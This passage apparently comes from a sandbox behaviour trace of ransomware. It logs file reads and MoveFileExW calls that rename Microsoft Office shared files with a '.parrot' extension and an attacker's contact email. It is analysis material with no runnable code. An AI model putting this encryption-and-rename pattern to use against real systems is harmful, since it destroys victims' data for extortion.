(normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b258 | out: hHeap=0x5b0000) returned 1 [0119.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0119.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.769] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0119.770] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.770] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1de8, lpOverlapped=0x0) returned 1 [0119.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b258 | out: hHeap=0x5b0000) returned 1 [0119.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0120.026] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.026] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.028] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.028] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0120.029] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0120.033] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.033] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.035] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.035] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f160, lpOverlapped=0x0) returned 1 [0120.047] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0120.064] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.064] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.066] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.066] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0120.095] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0120.123] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.124] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.125] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.125] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xadf90, lpOverlapped=0x0) returned 1 [0120.201] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0120.242] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.243] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.244] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.244] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e380, lpOverlapped=0x0) returned 1 [0120.261] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0120.278] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.278] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.279] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.279] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0120.292] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0120.307] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.307] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.309] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x774, lpOverlapped=0x0) returned 1 [0120.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d240 | out: hHeap=0x5b0000) returned 1 [0120.312] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.312] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.358] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.359] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3adb, lpOverlapped=0x0) returned 1 [0120.360] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692290 | out: hHeap=0x5b0000) returned 1 [0120.366] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.366] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.367] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.368] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x42d, lpOverlapped=0x0) returned 1 [0120.368] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.371] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.371] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.373] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.373] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x425, lpOverlapped=0x0) returned 1 [0120.373] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.376] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.376] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.378] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.378] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x692, lpOverlapped=0x0) returned 1 [0120.378] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d240 | out: hHeap=0x5b0000) returned 1 [0120.381] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.381] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.382] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.382] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x566, lpOverlapped=0x0) returned 1 [0120.382] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0120.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.386] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.386] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.387] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.388] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11d78, lpOverlapped=0x0) returned 1 [0120.391] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0120.396] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.397] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.398] 